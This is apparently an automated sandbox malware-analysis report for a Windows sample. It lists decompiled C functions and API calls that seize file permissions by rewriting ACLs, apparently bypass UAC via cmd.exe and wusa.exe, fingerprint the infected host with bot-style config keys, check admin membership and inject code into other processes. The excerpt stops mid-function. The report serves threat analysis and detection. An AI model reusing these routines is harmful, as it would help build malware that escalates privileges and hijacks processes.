Part of subcall function 0041B3F0: __mtinit.LIBCMTD ref: 0041B48C
Part of subcall function 0041B3F0: _fast_error_exit.LIBCMTD ref: 0041B497
Part of subcall function 0041B3F0: __RTC_Initialize.LIBCMTD ref: 0041B4A9
Part of subcall function 0041B3F0: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B4D2
Part of subcall function 0041B3F0: ___wsetargv.LIBCMTD ref: 0041B4DC
Part of subcall function 0041B3F0: __wsetenvp.LIBCMTD ref: 0041B4EF
Part of subcall function 0041B3F0: __cinit.LIBCMTD ref: 0041B504
Part of subcall function 0041B3F0: __wwincmdln.LIBCMTD ref: 0041B521

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: d79d1f9df30777df90e0245ced4756384762c834de9197bca5231dd6354c1926
Instruction ID: 2c3f05845ac659d6576b8e9945a0ebc0caf82483a8e5705db6c586193ea53d2d
Opcode Fuzzy Hash: d79d1f9df30777df90e0245ced4756384762c834de9197bca5231dd6354c1926
Instruction Fuzzy Hash: 6FA0023218565C67055077EF345795EB64DDCC4B6C7D5005FBD2C065031D6EA8A180EF

Uniqueness

Uniqueness Score: -1.00%

Function 008938F7, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00893948

Memory Dump Source

Source File: 00000011.00000002.957274730.0000000000891000.00000040.00000001.sdmp, Offset: 00891000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_891000_E748.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: b90072113d9ab40f22d43d7a97e47d8b97a4cf40d15a32953b99331aece55848
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: CB112B79A00208EFDB01DF98C985E99BFF5EF08350F098094F948AB362D371EA50DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00419A16, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00419FD5,?,?,?,?,0041B555,00400000,00000000,?,0000000A), ref: 00419A1E

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction ID: 019fb2e64a9b276ebf310d41e95adf70c6358cc02637eb6adb2296fd202f371f
Opcode Fuzzy Hash: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction Fuzzy Hash: 12B012B94413419BC7404F60AE047403F61F306703F000020F200D0674C7700080AB05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

, xrefs: 00401462
@, xrefs: 00401380
%systemroot%\system32\cmd.exe, xrefs: 00401316
D, xrefs: 004015C6
wusa.exe, xrefs: 00401388
useless, xrefs: 0040161E
uac, xrefs: 00401628
<, xrefs: 00401378

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 1628651668-1839596206
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x61;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 8;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32 ref: 00401C15

Strings

lid_file_upd, xrefs: 00401E25
start_srv, xrefs: 00401E6C
work_srv, xrefs: 00401E5E
flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
net_type, xrefs: 00401E87
IsWow64Process, xrefs: 00401DF2
kernel32, xrefs: 00401DF7
loader_id, xrefs: 00401F4B, 00401F6B
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
born_date, xrefs: 00401EAD, 00401ECC
hi_id, xrefs: 00401F16, 00401F1B, 00401F33

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction ID: 54c1e59e0de162fea3d0b4a588507db8dabc792a1e082174f42e6dfe58141249
Opcode Fuzzy Hash: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction Fuzzy Hash: 3651FA705003446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA94487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x0
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x0
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0);
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 6.1, APIs: 4, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
